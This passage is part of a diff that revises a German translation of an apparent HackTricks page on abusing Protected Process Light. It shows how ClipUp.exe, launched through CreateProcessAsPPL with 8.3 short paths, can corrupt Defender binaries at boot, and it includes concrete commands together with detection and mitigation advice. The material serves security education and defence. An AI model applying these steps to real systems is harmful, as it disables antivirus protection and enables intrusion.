Vertrauensentscheidungen und einfache Signaturprüfungen mit wenigen Byte-Patches ausgehebelt werden können. -## Missbrauch von Protected Process Light (PPL) um AV/EDR mit LOLBINs zu manipulieren +## Missbrauch von Protected Process Light (PPL) zur Manipulation von AV/EDR mit LOLBINs -Protected Process Light (PPL) erzwingt eine Signer-/Level-Hierarchie, sodass nur gleich- oder höherstufige geschützte Prozesse sich gegenseitig manipulieren können. Angriffsseitig: Wenn man ein PPL-enabled Binary legitim starten und dessen Argumente kontrollieren kann, lässt sich harmlose Funktionalität (z. B. Logging) in ein eingeschränktes, von PPL unterstütztes Schreib-Primitiv gegen geschützte Verzeichnisse verwandeln, die von AV/EDR verwendet werden. +Protected Process Light (PPL) erzwingt eine Signierer-/Level-Hierarchie, sodass nur gleich- oder höherstufige geschützte Prozesse einander manipulieren können. Angriffstechnisch gilt: Wenn man legitim ein PPL-aktiviertes Binary starten und dessen Argumente kontrollieren kann, lässt sich harmlose Funktionalität (z. B. Logging) in ein eingeschränktes, von PPL unterstütztes Schreib-Primitive gegen geschützte Verzeichnisse wandeln, die von AV/EDR verwendet werden. -What makes a process run as PPL -- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU. -- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`. -- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation. +Was dafür sorgt, dass ein Prozess als PPL läuft +- Die Ziel-EXE (und alle geladenen DLLs) müssen mit einem PPL-fähigen EKU signiert sein. +- Der Prozess muss mit CreateProcess erstellt werden und die Flags verwenden: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`. +- Es muss ein kompatibles Protection-Level angefordert werden, das zum Signierer des Binaries passt (z. B. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` für Anti-Malware-Signer, `PROTECTION_LEVEL_WINDOWS` für Windows-Signer). Falsche Level führen beim Erstellen zum Fehlschlag. -See also a broader intro to PP/PPL and LSASS protection here: +Siehe auch eine weitergehende Einführung zu PP/PPL und LSASS-Schutz hier: {{#ref}} stealing-credentials/credentials-protections.md {{#endref}} -Launcher tooling -- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE): +Launcher-Tools +- Open-Source-Helfer: CreateProcessAsPPL (wählt das Schutzlevel und leitet Argumente an die Ziel-EXE weiter): - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL) -- Usage pattern: +- Verwendungsbeispiel: ```text CreateProcessAsPPL.exe [args...] # example: spawn a Windows-signed component at PPL level 1 (Windows) @@ -796,41 +833,41 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe CreateProcessAsPPL.exe 3 ``` LOLBIN primitive: ClipUp.exe -- Das signierte System-Binary `C:\Windows\System32\ClipUp.exe` startet sich selbst und akzeptiert einen Parameter, um eine Logdatei an einen vom Aufrufer angegebenen Pfad zu schreiben. -- Wenn es als PPL-Prozess gestartet wird, erfolgt die Dateischreibung mit PPL-Unterstützung. -- ClipUp kann Pfade mit Leerzeichen nicht parsen; verwenden Sie 8.3-Kurzpfade, um auf normalerweise geschützte Orte zu verweisen. +- Die signierte System-Binärdatei `C:\Windows\System32\ClipUp.exe` startet sich selbst und akzeptiert einen Parameter, um eine Logdatei an einem vom Aufrufer angegebenen Pfad zu schreiben. +- Wenn sie als PPL-Prozess gestartet wird, erfolgt der Dateischreibvorgang mit PPL-Unterstützung. +- ClipUp kann Pfade mit Leerzeichen nicht parsen; verwende 8.3-Kurzpfade, um auf normalerweise geschützte Orte zu verweisen. -8.3 short path helpers +8.3 Kurzpfad-Hilfen - Kurznamen auflisten: `dir /x` in jedem übergeordneten Verzeichnis. -- Kurzen Pfad in cmd ableiten: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` +- Kurzpfad in cmd ermitteln: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` -Abuse chain (abstract) -1) Starte das PPL-fähige LOLBIN (ClipUp) mit `CREATE_PROTECTED_PROCESS` unter Verwendung eines Launchers (z. B. CreateProcessAsPPL). -2) Übergebe das ClipUp-Log-Pfad-Argument, um eine Datei in einem geschützten AV-Verzeichnis zu erzwingen (z. B. Defender Platform). Verwende bei Bedarf 8.3-Kurzpfade. -3) Wenn die Ziel-Binary normalerweise vom AV während der Ausführung offen/gesperrt ist (z. B. MsMpEng.exe), plane den Schreibvorgang beim Booten, bevor der AV startet, indem du einen Auto-Start-Service installierst, der verlässlich früher läuft. Überprüfe die Boot-Reihenfolge mit Process Monitor (boot logging). -4) Beim Neustart erfolgt der PPL-gestützte Schreibvorgang, bevor der AV seine Binaries sperrt, wodurch die Zieldatei beschädigt wird und ein Start verhindert wird. +Missbrauchskette (abstrakt) +1) Starte den PPL-fähigen LOLBIN (ClipUp) mit `CREATE_PROTECTED_PROCESS` über einen Launcher (z. B. CreateProcessAsPPL). +2) Übergebe das ClipUp-Log-Pfad-Argument, um die Erstellung einer Datei in einem geschützten AV-Verzeichnis zu erzwingen (z. B. Defender Platform). Falls nötig, verwende 8.3-Kurznamen. +3) Wenn die Ziel-Binärdatei während des Betriebs normalerweise vom AV offen/gesperrt ist (z. B. MsMpEng.exe), plane den Schreibvorgang beim Booten, bevor der AV startet, indem du einen Auto-Start-Service installierst, der zuverlässig früher ausgeführt wird. Überprüfe die Boot-Reihenfolge mit Process Monitor (Boot-Logging). +4) Beim Reboot erfolgt der PPL-geschützte Schreibvorgang, bevor der AV seine Binaries sperrt, wodurch die Zieldatei beschädigt wird und ein Start verhindert wird. -Example invocation (paths redacted/shortened for safety): +Beispielaufruf (Pfade aus Sicherheitsgründen redigiert/gekürzt): ```text # Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\\samplew.dll ``` Hinweise und Einschränkungen -- Sie können die Inhalte, die `ClipUp` schreibt, nicht kontrollieren, außer deren Platzierung; die Primitive eignet sich eher zur Korruption als zur präzisen Inhaltsinjektion. -- Erfordert lokalen Admin/SYSTEM, um einen Dienst zu installieren/zu starten, sowie ein Reboot-Fenster. +- Sie können den Inhalt, den ClipUp schreibt, nur hinsichtlich des Ablageorts kontrollieren; die Primitive eignet sich eher zur Korruption als zur präzisen Content-Injektion. +- Erfordert lokalen Admin/SYSTEM, um einen Service zu installieren/zu starten, sowie ein Reboot-Fenster. - Timing ist kritisch: das Ziel darf nicht geöffnet sein; Ausführung zur Bootzeit vermeidet Dateisperren. Erkennungen -- Erstellung des Prozesses `ClipUp.exe` mit ungewöhnlichen Argumenten, insbesondere wenn er von nicht-standardmäßigen Elternprozessen gestartet wird, rund um den Bootvorgang. -- Neue Dienste, die so konfiguriert sind, dass verdächtige Binärdateien automatisch starten und konsequent vor Defender/AV starten. Untersuchen Sie Dienst-Erstellung/-Änderung vor Defender-Startfehlern. -- Dateiintegritätsüberwachung auf Defender-Binaries/Platform-Verzeichnissen; unerwartete Datei-Erstellungen/-Änderungen durch Prozesse mit protected-process-Flags. -- ETW/EDR-Telemetrie: suchen Sie nach Prozessen, die mit `CREATE_PROTECTED_PROCESS` erstellt wurden, und nach anomalem PPL-Level-Einsatz durch Nicht-AV-Binärdateien. +- Prozess-Erstellung von `ClipUp.exe` mit ungewöhnlichen Argumenten, besonders wenn der Parent-Prozess ein nicht-standardmäßiger Launcher ist, während des Bootvorgangs. +- Neue Services, die so konfiguriert sind, dass verdächtige Binaries automatisch gestartet werden und konsequent vor Defender/AV starten. Untersuchen Sie die Erstellung/Änderung von Services vor Defender-Startfehlern. +- Dateiintegritätsüberwachung für Defender-Binaries/Platform-Verzeichnisse; unerwartete Datei-Erstellungen/Änderungen durch Prozesse mit protected-process-Flags. +- ETW/EDR-Telemetrie: Achten Sie auf Prozesse, die mit `CREATE_PROTECTED_PROCESS` erstellt wurden, und auf anomalen PPL-Level-Gebrauch durch non-AV-Binaries. -Abhilfemaßnahmen -- WDAC/Code Integrity: Beschränken Sie, welche signierten Binärdateien als PPL laufen dürfen und unter welchen Elternprozessen; blockieren Sie ClipUp-Aufrufe außerhalb legitimer Kontexte. -- Service-Hygiene: Beschränken Sie die Erstellung/Änderung von Auto-Start-Diensten und überwachen Sie Manipulationen der Startreihenfolge. -- Stellen Sie sicher, dass Defender-Tamper-Schutz und Early-Launch-Schutz aktiviert sind; untersuchen Sie Startfehler, die auf Binärkorruption hinweisen. -- Erwägen Sie, die 8.3-Kurznamensgenerierung auf Volumes, die Security-Tools hosten, zu deaktivieren, falls kompatibel mit Ihrer Umgebung (gründlich testen). +Gegenmaßnahmen +- WDAC/Code Integrity: Beschränken Sie, welche signierten Binaries als PPL laufen dürfen und unter welchen Parent-Prozessen; blockieren Sie den Aufruf von ClipUp außerhalb legitimer Kontexte. +- Service-Hygiene: Beschränken Sie die Erstellung/Änderung von Auto-Start-Services und überwachen Sie Manipulationen der Startreihenfolge. +- Stellen Sie sicher, dass Defender-Tamper-Schutz und Early-Launch-Schutz aktiviert sind; untersuchen Sie Startfehler, die auf eine Binary-Korruption hindeuten. +- Erwägen Sie, die 8.3-Short-Name-Generierung auf Volumes, die Security-Tools hosten, zu deaktivieren, sofern das mit Ihrer Umgebung kompatibel ist (gründlich testen). References for PPL and tooling - Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes @@ -839,7 +876,7 @@ References for PPL and tooling - CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL - Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html -## Referenzen +## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) @@ -853,4 +890,6 @@ References for PPL and tooling - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) + {{#include ../banners/hacktricks-training.md}}